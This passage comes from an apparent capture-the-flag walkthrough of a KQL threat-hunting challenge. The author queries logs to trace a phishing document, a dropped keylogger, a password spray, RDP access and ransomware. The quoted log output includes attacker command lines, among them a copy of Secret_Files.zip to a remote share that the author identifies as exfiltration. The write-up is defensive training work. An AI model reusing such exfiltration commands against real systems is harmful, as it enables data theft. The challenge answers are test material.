&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;count&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;&lt;code&gt;22&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;ANSWER:&lt;/strong&gt; &lt;code&gt;22&lt;/code&gt;&lt;/p&gt;
&lt;h4 id=&#34;Question-4-1&#34;&gt;&lt;a href=&#34;#Question-4-1&#34; class=&#34;headerlink&#34; title=&#34;Question 4&#34;&gt;&lt;/a&gt;Question 4&lt;/h4&gt;&lt;p&gt;What was the filename of the document that Team Alabaster distributed in their phishing email?&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;QUERY:&lt;/strong&gt; &lt;/p&gt;
&lt;figure class=&#34;highlight bash&#34;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&#34;gutter&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;2&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;3&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;4&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&#34;code&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;Email&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;| &lt;span class=&#34;built_in&#34;&gt;where&lt;/span&gt; subject contains &lt;span class=&#34;string&#34;&gt;&amp;quot;surrender&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;| extend filename = tostring(&lt;span class=&#34;built_in&#34;&gt;split&lt;/span&gt;(&lt;span class=&#34;built_in&#34;&gt;link&lt;/span&gt;, &lt;span class=&#34;string&#34;&gt;&amp;quot;/&amp;quot;&lt;/span&gt;)[-1])&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;| distinct filename&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;

&lt;p&gt;&lt;strong&gt;RESULTS:&lt;/strong&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;filename&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;&lt;code&gt;Team_Wombley_Surrender.doc&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;ANSWER:&lt;/strong&gt; &lt;code&gt;Team_Wombley_Surrender.doc&lt;/code&gt;&lt;/p&gt;
&lt;h4 id=&#34;Question-5-1&#34;&gt;&lt;a href=&#34;#Question-5-1&#34; class=&#34;headerlink&#34; title=&#34;Question 5&#34;&gt;&lt;/a&gt;Question 5&lt;/h4&gt;&lt;p&gt;Who was the first person from Team Wombley to click the URL in the phishing email?&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;QUERY:&lt;/strong&gt; &lt;/p&gt;
&lt;figure class=&#34;highlight bash&#34;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&#34;gutter&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;2&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;3&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;4&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;5&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;6&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&#34;code&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;Employees&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;| &lt;span class=&#34;built_in&#34;&gt;join&lt;/span&gt; kind=inner OutboundNetworkEvents on &lt;span class=&#34;variable&#34;&gt;$left&lt;/span&gt;.ip_addr == &lt;span class=&#34;variable&#34;&gt;$right&lt;/span&gt;.src_ip&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;| &lt;span class=&#34;built_in&#34;&gt;where&lt;/span&gt; url has &lt;span class=&#34;string&#34;&gt;&amp;quot;Team_Wombley_Surrender.doc&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;| &lt;span class=&#34;built_in&#34;&gt;sort&lt;/span&gt; by timestamp asc&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;| &lt;span class=&#34;built_in&#34;&gt;limit&lt;/span&gt; 1&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;| project name&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;

&lt;p&gt;&lt;strong&gt;RESULTS:&lt;/strong&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;name&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;&lt;code&gt;Joyelle Tinseltoe&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;ANSWER:&lt;/strong&gt; &lt;code&gt;Joyelle Tinseltoe&lt;/code&gt;&lt;/p&gt;
&lt;h4 id=&#34;Question-6-1&#34;&gt;&lt;a href=&#34;#Question-6-1&#34; class=&#34;headerlink&#34; title=&#34;Question 6&#34;&gt;&lt;/a&gt;Question 6&lt;/h4&gt;&lt;p&gt;What was the filename that was created after the .doc was downloaded and executed?&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;QUERY:&lt;/strong&gt; &lt;/p&gt;
&lt;figure class=&#34;highlight bash&#34;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&#34;gutter&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;2&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;3&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;4&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;5&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;6&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;7&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&#34;code&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;Employees&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;| &lt;span class=&#34;built_in&#34;&gt;join&lt;/span&gt; kind=inner OutboundNetworkEvents on &lt;span class=&#34;variable&#34;&gt;$left&lt;/span&gt;.ip_addr == &lt;span class=&#34;variable&#34;&gt;$right&lt;/span&gt;.src_ip&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;| &lt;span class=&#34;built_in&#34;&gt;join&lt;/span&gt; kind=inner ProcessEvents on hostname and username&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;| &lt;span class=&#34;built_in&#34;&gt;where&lt;/span&gt; name has &lt;span class=&#34;string&#34;&gt;&amp;quot;Joyelle Tinseltoe&amp;quot;&lt;/span&gt; and url has &lt;span class=&#34;string&#34;&gt;&amp;quot;Team_Wombley_Surrender.doc&amp;quot;&lt;/span&gt; and timestamp1 &amp;gt; timestamp&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;| &lt;span class=&#34;built_in&#34;&gt;sort&lt;/span&gt; by timestamp1 asc &lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;| &lt;span class=&#34;built_in&#34;&gt;limit&lt;/span&gt; 2&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;| project download_timestamp=timestamp, execution_timestamp=timestamp1, process_commandline, process_name&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;

&lt;p&gt;&lt;strong&gt;RESULTS:&lt;/strong&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;download_timestamp&lt;/th&gt;
&lt;th&gt;execution_timestamp&lt;/th&gt;
&lt;th&gt;process_commandline&lt;/th&gt;
&lt;th&gt;process_name&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;&lt;code&gt;2024-11-27T14:11:45Z&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;2024-11-27T14:12:44Z&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;Explorer.exe &amp;quot;C:\Users\jotinseltoe\Downloads\Team_Wombley_Surrender.doc&amp;quot;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;Explorer.exe&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;2024-11-27T14:11:45Z&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;2024-11-27T14:12:45Z&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;C:\Users\Public\AppData\Roaming\keylogger.exe&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;keylogger.exe&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;ANSWER:&lt;/strong&gt;&lt;br&gt;The above results shows just 59s since downloading the file, Joyelle opened it (😡 bad user!), and the first event after that has the command line &lt;code&gt;C:\Users\Public\AppData\Roaming\keylogger.exe&lt;/code&gt; which looks like a dropped executable.&lt;br&gt;The answer is the filename &lt;code&gt;keylogger.exe&lt;/code&gt;.&lt;/p&gt;
&lt;h4 id=&#34;Question-7-1&#34;&gt;&lt;a href=&#34;#Question-7-1&#34; class=&#34;headerlink&#34; title=&#34;Question 7&#34;&gt;&lt;/a&gt;Question 7&lt;/h4&gt;&lt;p&gt;To obtain your flag use the KQL below with your last answer!&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;QUERY:&lt;/strong&gt; &lt;/p&gt;
&lt;figure class=&#34;highlight bash&#34;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&#34;gutter&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;1&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&#34;code&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;built_in&#34;&gt;print&lt;/span&gt; base64_encode_tostring(&lt;span class=&#34;string&#34;&gt;&amp;quot;keylogger.exe&amp;quot;&lt;/span&gt;);&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;

&lt;p&gt;&lt;strong&gt;RESULTS:&lt;/strong&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;print_0&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;&lt;code&gt;a2V5bG9nZ2VyLmV4ZQ==&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;ANSWER:&lt;/strong&gt; &lt;code&gt;a2V5bG9nZ2VyLmV4ZQ==&lt;/code&gt;&lt;/p&gt;
&lt;h2 id=&#34;Operation-Snowfall&#34;&gt;&lt;a href=&#34;#Operation-Snowfall&#34; class=&#34;headerlink&#34; title=&#34;Operation Snowfall&#34;&gt;&lt;/a&gt;Operation Snowfall&lt;/h2&gt;&lt;p&gt;Track and analyze the impacts of a ransomware attack initiated by Wombley’s faction.&lt;/p&gt;
&lt;h3 id=&#34;Section-3-Operation-Snowfall-Team-Wombley’s-Ransomware-Raid&#34;&gt;&lt;a href=&#34;#Section-3-Operation-Snowfall-Team-Wombley’s-Ransomware-Raid&#34; class=&#34;headerlink&#34; title=&#34;Section 3: Operation Snowfall: Team Wombley’s Ransomware Raid&#34;&gt;&lt;/a&gt;Section 3: Operation Snowfall: Team Wombley’s Ransomware Raid&lt;/h3&gt;&lt;h4 id=&#34;Question-1-2&#34;&gt;&lt;a href=&#34;#Question-1-2&#34; class=&#34;headerlink&#34; title=&#34;Question 1&#34;&gt;&lt;/a&gt;Question 1&lt;/h4&gt;&lt;p&gt;Type &lt;code&gt;snowfall&lt;/code&gt; to begin&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;ANSWER:&lt;/strong&gt; &lt;code&gt;snowfall&lt;/code&gt; &lt;/p&gt;
&lt;h4 id=&#34;Question-2-2&#34;&gt;&lt;a href=&#34;#Question-2-2&#34; class=&#34;headerlink&#34; title=&#34;Question 2&#34;&gt;&lt;/a&gt;Question 2&lt;/h4&gt;&lt;p&gt;What was the IP address associated with the password spray?&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;QUERY:&lt;/strong&gt; &lt;/p&gt;
&lt;figure class=&#34;highlight bash&#34;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&#34;gutter&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;2&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;3&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;4&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;5&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&#34;code&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;AuthenticationEvents&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;| &lt;span class=&#34;built_in&#34;&gt;where&lt;/span&gt; result == &lt;span class=&#34;string&#34;&gt;&amp;quot;Failed Login&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;| summarize dcount(username) by src_ip&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;| &lt;span class=&#34;built_in&#34;&gt;sort&lt;/span&gt; by dcount_username desc&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;| &lt;span class=&#34;built_in&#34;&gt;limit&lt;/span&gt; 1&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;

&lt;p&gt;&lt;strong&gt;RESULTS:&lt;/strong&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;src_ip&lt;/th&gt;
&lt;th&gt;dcount_username&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;&lt;code&gt;59.171.58.12&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;44&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;ANSWER:&lt;/strong&gt; &lt;code&gt;59.171.58.12&lt;/code&gt;&lt;/p&gt;
&lt;h4 id=&#34;Question-3-2&#34;&gt;&lt;a href=&#34;#Question-3-2&#34; class=&#34;headerlink&#34; title=&#34;Question 3&#34;&gt;&lt;/a&gt;Question 3&lt;/h4&gt;&lt;p&gt;How many &lt;code&gt;unique&lt;/code&gt; accounts were impacted where there was a successful login from 59.171.58.12?&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;QUERY:&lt;/strong&gt; &lt;/p&gt;
&lt;figure class=&#34;highlight bash&#34;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&#34;gutter&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;2&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;3&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;4&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&#34;code&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;AuthenticationEvents&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;| &lt;span class=&#34;built_in&#34;&gt;where&lt;/span&gt; result != &lt;span class=&#34;string&#34;&gt;&amp;quot;Failed Login&amp;quot;&lt;/span&gt; and src_ip == &lt;span class=&#34;string&#34;&gt;&amp;quot;59.171.58.12&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;| distinct username&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;| count&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;

&lt;p&gt;&lt;strong&gt;RESULTS:&lt;/strong&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;count&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;&lt;code&gt;23&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;ANSWER:&lt;/strong&gt; &lt;code&gt;23&lt;/code&gt;&lt;/p&gt;
&lt;h4 id=&#34;Question-4-2&#34;&gt;&lt;a href=&#34;#Question-4-2&#34; class=&#34;headerlink&#34; title=&#34;Question 4&#34;&gt;&lt;/a&gt;Question 4&lt;/h4&gt;&lt;p&gt;What service was used to access these accounts&amp;#x2F;devices?&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;QUERY:&lt;/strong&gt; &lt;/p&gt;
&lt;figure class=&#34;highlight bash&#34;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&#34;gutter&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;2&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;3&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;4&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&#34;code&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;AuthenticationEvents&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;| &lt;span class=&#34;built_in&#34;&gt;where&lt;/span&gt; src_ip == &lt;span class=&#34;string&#34;&gt;&amp;quot;59.171.58.12&amp;quot;&lt;/span&gt; and result != &lt;span class=&#34;string&#34;&gt;&amp;quot;Failed Login&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;| extend service = tostring(&lt;span class=&#34;built_in&#34;&gt;split&lt;/span&gt;(&lt;span class=&#34;built_in&#34;&gt;split&lt;/span&gt;(description, &lt;span class=&#34;string&#34;&gt;&amp;quot; &amp;quot;&lt;/span&gt;)[-1], &lt;span class=&#34;string&#34;&gt;&amp;quot;.&amp;quot;&lt;/span&gt;)[0])&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;| distinct service&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;

&lt;p&gt;&lt;strong&gt;RESULTS:&lt;/strong&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;service&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;&lt;code&gt;RDP&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;ANSWER:&lt;/strong&gt; &lt;code&gt;RDP&lt;/code&gt;&lt;/p&gt;
&lt;h4 id=&#34;Question-5-2&#34;&gt;&lt;a href=&#34;#Question-5-2&#34; class=&#34;headerlink&#34; title=&#34;Question 5&#34;&gt;&lt;/a&gt;Question 5&lt;/h4&gt;&lt;p&gt;What file was exfiltrated from Alabaster’s laptop?&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;QUERY:&lt;/strong&gt; &lt;/p&gt;
&lt;figure class=&#34;highlight bash&#34;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&#34;gutter&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;2&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;3&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;4&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;5&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;6&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&#34;code&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;AuthenticationEvents&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;| &lt;span class=&#34;built_in&#34;&gt;join&lt;/span&gt; kind=inner Employees on hostname&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;| &lt;span class=&#34;built_in&#34;&gt;join&lt;/span&gt; kind=inner ProcessEvents on hostname&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;| &lt;span class=&#34;built_in&#34;&gt;where&lt;/span&gt; name == &lt;span class=&#34;string&#34;&gt;&amp;quot;Alabaster Snowball&amp;quot;&lt;/span&gt; and src_ip == &lt;span class=&#34;string&#34;&gt;&amp;quot;59.171.58.12&amp;quot;&lt;/span&gt; and result != &lt;span class=&#34;string&#34;&gt;&amp;quot;Failed Login&amp;quot;&lt;/span&gt; and timestamp1 &amp;gt; timestamp and process_commandline has &lt;span class=&#34;string&#34;&gt;&amp;quot;copy&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;| &lt;span class=&#34;built_in&#34;&gt;sort&lt;/span&gt; by timestamp1 asc&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;| project timestamp1, process_commandline&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;

&lt;p&gt;&lt;strong&gt;RESULTS:&lt;/strong&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;timestamp1&lt;/th&gt;
&lt;th&gt;process_commandline&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;&lt;code&gt;2024-12-15T14:52:13Z&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;Copy-Item &amp;quot;C:\\Malware\\EncryptEverything.exe&amp;quot; -Destination &amp;quot;C:\\Windows\\Users\\alsnowball&amp;quot;&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;2024-12-15T14:52:32Z&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;copy C:\Windows\Users\alsnowball\top secret\Snowball_Cannon_Plans.pdf C:\Users\alsnowball\Documents\Snowball_Cannon_Plans.pdf&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;2024-12-16T14:53:27Z&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;copy C:\Windows\Users\alsnowball\top secret\Drone_Configurations.pdf C:\Users\alsnowball\Documents\Drone_Configurations.pdf&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;2024-12-16T15:51:52Z&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;copy C:\Users\alsnowball\AppData\Local\Temp\Secret_Files.zip \\wocube\share\alsnowball\Secret_Files.zip&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;ANSWER:&lt;/strong&gt;&lt;br&gt;From &lt;code&gt;ProcessEvents&lt;/code&gt; we can observe some &lt;code&gt;copy&lt;/code&gt; commands being executed but just &lt;code&gt;copy C:\Users\alsnowball\AppData\Local\Temp\Secret_Files.zip \\wocube\share\alsnowball\Secret_Files.zip&lt;/code&gt; pointing to an external destination and copying out &lt;code&gt;C:\Users\alsnowball\AppData\Local\Temp\Secret_Files.zip&lt;/code&gt;.&lt;br&gt;The answer is the filename &lt;code&gt;Secret_Files.zip&lt;/code&gt;.&lt;/p&gt;
&lt;h4 id=&#34;Question-6-2&#34;&gt;&lt;a href=&#34;#Question-6-2&#34; class=&#34;headerlink&#34; title=&#34;Question 6&#34;&gt;&lt;/a&gt;Question 6&lt;/h4&gt;&lt;p&gt;What is the name of the malicious file that was run on Alabaster’s laptop?&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;QUERY:&lt;/strong&gt; &lt;/p&gt;
&lt;figure class=&#34;highlight bash&#34;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&#34;gutter&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;2&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;3&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;4&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;5&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&#34;code&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;AuthenticationEvents&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;| &lt;span class=&#34;built_in&#34;&gt;join&lt;/span&gt; kind=inner Employees on hostname&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;| &lt;span class=&#34;built_in&#34;&gt;join&lt;/span&gt; kind=inner ProcessEvents on hostname&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;| &lt;span class=&#34;built_in&#34;&gt;where&lt;/span&gt; name == &lt;span class=&#34;string&#34;&gt;&amp;quot;Alabaster Snowball&amp;quot;&lt;/span&gt; and src_ip == &lt;span class=&#34;string&#34;&gt;&amp;quot;59.171.58.12&amp;quot;&lt;/span&gt; and result != &lt;span class=&#34;string&#34;&gt;&amp;quot;Failed Login&amp;quot;&lt;/span&gt; and timestamp1 &amp;gt; timestamp&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;| distinct process_name&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;

&lt;p&gt;&lt;strong&gt;RESULTS:&lt;/strong&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;process_name&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;&lt;code&gt;cmd.exe&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;svchost.exe&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;msedgewebview2.exe&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;powershell.exe&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;EncryptEverything.exe&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;searchprotocolhost.exe&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;comppkgsrv.exe&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;Copy-Item&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
